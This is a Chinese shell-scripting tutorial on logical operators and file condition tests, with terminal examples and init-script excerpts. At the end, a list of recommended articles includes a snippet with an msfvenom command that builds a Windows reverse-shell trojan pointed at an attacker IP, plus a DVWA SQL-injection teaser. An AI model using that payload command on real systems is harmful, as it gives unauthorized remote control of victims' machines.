shell-逻辑操作符讲解与文件条件测试多范例多生产案例
1. 逻辑操作符
在书写测试表达式时,可以使用表1.1中的逻辑操作符实现复杂的条件测试
表1.1逻辑连接符
提示:
! 中文意思是反:与一个逻辑值相反的逻辑值
-a 中文意思是与(and &&):两个逻辑值都为“真”,返回值才为“真”,反之为“假”
-o 中文意思是或(or ||):两个逻辑值只要有一个为“真” ,返回值就为“真”
逻辑操作符运算规则
结论:-a &&的运算规则:只有两端都是1才为真
真 1 假0
---------------------
and 1*0=0 假
and 1*1=1 真
and 0*0=0 假
两端都是1才为真 结论:-o,|| 两端都是0才为假,任何一端不为0都是真
---------------------
or 1+0=1 真
or 1+1=2 真
or 0+1=1 真
or 0+0=0 假
两端都是0才为假,不为0就是真。
2. 条件测试举例
下面举一些条件测试的例子。为了清晰的显示测试结果,我们在屏幕上输出1(表示真)或0(表示假)表示测试结果。
提示:这和前面的状态变量"$?"返回0为真不一样哟
[root@test-1 scripts]# [ -f "$file1" ] && echo 1 || echo 0 #这是条件表达式的用法
0
[root@test-1 scripts]# if [ -f "$file1" ];then echo 1;else echo 0;fi #这是后面要讲的if条件句的语法。
0
提示:
1. 以上两条语句的功能是等同的。
2. 变量$file加了双引号,这是编程的好习惯,可以防止很多意外的错误发生。
3. 文件测试举例
首先我们定义file1和file2两个变量,并分别赋予两个系统文件路径及文件名的值。
[root@test-1 scripts]# file1=/etc/services;file2=/etc/rc.local
[root@test-1 scripts]# echo $file1 $file2
/etc/services /etc/rc.local
范例1:对单个文件的测试:
[root@test-1 scripts]# [ -f "$file1" ] && echo 1 || echo 0 #文件存在且为普通文件所以为真(1)
1
[root@test-1 scripts]# [ -d "$file1" ] && echo 1 || echo 0 #是文件不是目录所以为假(0)
0
[root@test-1 scripts]# [ -s "$file1" ] && echo 1 || echo 0 #文件存在且大小不为0,所以为真(1)
1
[root@test-1 scripts]# [ -e "$file1" ] && echo 1 || echo 0 #文件存在所以为真(1)
1
[root@test-1 scripts]# dir1=/etc
[root@test-1 scripts]# [ -e "$dir1" ] && echo 1 || echo 0
1
特殊例子:如果变量不加双引号,结果可能就不正确:
[root@test-1 scripts]# echo $file7 [root@test-1 scripts]# [ -f $file7 ] && echo 1 ||echo 0
1 #明明$file 7不存在还返回1.
[root@test-1 scripts]# [ -f "$file7" ] && echo 1 ||echo 0
0
范例2:把变量内容换成文件实体
[root@test-1 scripts]# [ -f /etc/services ] && echo 1 ||echo 0
1
[root@test-1 scripts]# [ -f /etc/service ] && echo 1 ||echo 0
0
[root@test-1 scripts]# [ -f "/etc/service" ] && echo 1 ||echo 0
0
[root@test-1 scripts]# [ -f "/etc/services" ] && echo 1 ||echo 0
1
范例3:生产环境系统nfs启动脚本的条件测试的内容
[root@test-1 scripts]# more /etc/init.d/nfs
# Source networking configuration.
[ -f /etc/sysconfig/network ] && . /etc/sysconfig/network
#如果/etc/sysconfig/network 文件存在就加载文件
# Check for and source configuration file otherwise set defaults
[ -f /etc/sysconfig/nfs ] && . /etc/sysconfig/nfs
#如果/etc/sysconfig/nfs 文件存在就加载文件
特别提示:系统脚本是我们学习编程的第一标杆,要多参考
范例4:多文件单中括号[ ]与或非测试
可用与(-a和&&)、或(-o 和 ||)、非(!)蒋多个条件表达式连接起来,接着上面的变量测试。
[root@test-1 scripts]# [ -f "$file1" -o -e "$file2" ] && echo 1 || echo 0
1
[root@test-1 scripts]# [ -f "$file1" -a -e "$file2" ] && echo 1 || echo 0
1
[root@test-1 scripts]# [ -f "$file1" || -e "$file2" ] && echo 1 || echo 0
-bash: [: missing `]' #用法不对了。你知道那不对么?
-bash: -e: command not found
0 提醒:前面我们已经讲解过了。
1. "-a"和"-o"逻辑操作符号用于[ ]中使用
2. "&&" 和 "||" 逻辑操作符号用于[[ ]]中使用。
3. 注意括号两端,必须要有空格。
如果你很倔,非要单中括号加&&或||
[root@test-1 scripts]# [ -f "$file1" ] || [ -e "$file2" ] && echo 1 || echo 0
1
[root@test-1 scripts]# [ -f "$file1" ] && [ -e "$file2" ] && echo 1 || echo 0
1
范例6:简易高效的文件判断例子
在做测试判断时,不一定非要按照前面的方法。直接用后者做测试判断有时更简洁。例如:
范例:
[root@test-1 scripts]# [ -f "$file1" ] && echo 1
1
[root@test-1 scripts]# [ -f "$file3" ] || echo 0
0 系统范例:/etc/init.d/nfs
[ -x /usr/sbin/rpc.nfsd ] || exit 5
[ -x /usr/sbin/rpc.mountd ] || exit 5
[ -x /usr/sbin/exportfs ] || exit 5
范例7:学习问答案例:判断条件后面执行多条命令语句。
#[ 判断 ] || 命令 这种句式,怎么执行一组命令?类似 [ 判断 ] || (命令1 命令2 命令3 ) 这样的内容
#希望实现
# if [条件]
# then
# do something
# else
# 命令1
# 命令2
# 命令3
# fi
#这样的效果? #解答:
# 可以使用条件表达式,大括号的用法,格式如下。当条件不成立时就会执行大括号内的所有命令内容:(用于脚本中)
[root@test-1 scripts]# cat test.sh
[ 3 -ne 3 ] || {
echo "I am aa "
echo "I am bb"
exit 1 }
# 如果写在一行里面,里面的每个命令还需要用分号结尾,如下所示:
[root@test-1 scripts]# [ 3 -ne 3 ] || { echo "I am aa ";echo "I am bb";exit 1;}
I am aa
I am bb
logout
#提示:本例的用法很简洁,但是理解起来不如if条件句容易,因此,请根据自身情况使用
拓展
1) 结尾小括号用法:
[root@test-1 scripts]# [ 3 -eq 3 ] && echo "JDK安装成功"||(echo "jdk安装失败,请检查"&& exit 1)
JDK安装成功
[root@test-1 scripts]# [ 3 -eq 2 ] && echo "JDK安装成功"||(echo "jdk安装失败,请检查"&& exit 1)
jdk安装失败,请检查
2) 结尾中括号用法:
[root@test-1 scripts]# [ 3 -eq 2 ] && echo "JDK安装成功"||[echo "jdk安装失败,请检查"&& exit 1]
-bash: [echo: command not found
3) 结尾大括号用法:
[ 3 -eq 3 ] && echo "JDK安装成功" || {echo "jdk安装失败,请检查"; exit 1}
[ 3 -eq 3 ] && echo "JDK安装成功" || {
echo "jdk安装失败,请检查"
exit 1
}
shell-逻辑操作符讲解与文件条件测试多范例多生产案例的更多相关文章
- shell-整数测试多范例多生产案例举例
1. 整数测试举例范例1:整数条件测试举例 root@test-1 ~]# a1=10;a2=13 [root@test-1 ~]# echo $a1 $a2 10 13 [root@test-1 ~ ...
- shell 字符串比较 算数比较 文件条件测试
set-group-id即set-gid -->授予了程序其所在组的访问权限 set-user-id即set-uid -->授予了程序其拥有者的访问权限而不是其使用者的访问权限 set-g ...
- Shell基础(二):Shell中的数值运算、条件测试操作、使用if选择结构
一.Shell中的数值运算 目标: 本案例要求熟悉Linux Shell环境的特点,主要练习以下操作: 1> 使用expr.$[ ].let等整数运算工具:定义变量X=1234,然后计算X与78 ...
- 【转】shell学习笔记(四)——条件测试
1 test 条件检测 当我要检测系统上面某些文件或者是相关的属性时,利用 test 这个命令来工作真是好用得不得了, 举例来说,我要检查 /home/oracle/zy是否存在时,使用: test ...
- shell 逻辑操作符
Shell还提供了与( -a ).或( -o ).非( ! )三个逻辑操作符用于将测试条件连接起来,其优先级为:"!"最高,"-a"次之,"-o&qu ...
- Shell学习笔记——算数运算与条件测试
算数运算 1. 使用let命令 #!/sbin/bash var1=2 var2=3 let sum=var1+var2 echo $sum 使用let命令式,变量前不需要加$号 只用于整数运算,不适 ...
- shell编程:条件测试与比较(六)
条件测试方法综述 test条件测试的简单语法及测试 范例6-1 测试文件(在test命令中使用-f选项:文件存在且为不同文件则表达式成立) [root@adminset ~]# test -f fil ...
- Shell编程中的条件判断(条件测试)
Shell中的条件判断(测试)类型: 1) 整数测试 2) 字符测试 3) 文件测试 条件测试的表达式: (注: expression 与 [] 之间空格不能省略) [ expressi ...
- shell 的条件表达式及逻辑操作符简单介绍
查看系统的shell: cat /etc/shells 文件测试表达式: -f 文件 文件存在且为普通文件则真,即测试表达式成立. -d 文件 文件存在且为目录文件则真,即测试表达式成立. -s ...
随机推荐
- 软件开发流变史:从瀑布开发到敏捷开发再到DevOps
作为在20世纪70年代.80年代盛极一时的软件开发模型,瀑布模型通过制定计划.需求分析.软件设计.程序编写.软件测试.运行维护等6个流程将整个软件生命周期衔接起来.这6个流程有着严格的先后次序之分,只 ...
- vue 多环境打包
https://cli.vuejs.org/zh/guide/mode-and-env.html#%E6%A8%A1%E5%BC%8F 模式 模式是 Vue CLI 项目中一个重要的概念.默认情况下, ...
- Unit3:控件\布局
控件 TextView <TextView android:layout_width="match_parent" android:layout_height="w ...
- linux如何把普通用户添加到sudo组
sudo原理:运行命令时,系统检查/etc/sudoers 配置文件,看这个用户是否有执行sudo的权限,如果有权限,系统要求输入用户自己的密码,如果密码输入正确,系统会以root身份运行 passw ...
- awk使用说明(复制别人的)
来源:http://www.cnblogs.com/ggjucheng/archive/2013/01/13/2858470.html 简介 awk是一个强大的文本分析工具,相对于grep的查找,se ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- DVWA sql注入low级别
DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELE ...
- zabbix邮件报警设置(加密)
邮件设置如下 端口号选择465
- springboot 配置和使用过滤器
首先在Application文件中添加注解@ServletComponentScan自动扫描当前类的同包以及子包,这样才能将filter装入bean package com.example.acade ...
- 天猫精灵对接1:outh对接
公司的智能家居产品需要接入语音控制,目前在对接阿里语音的天猫精灵 对接天猫精灵的第一步是完成outh鉴权 https://doc-bot.tmall.com/docs/doc.htm?spm=0.76 ...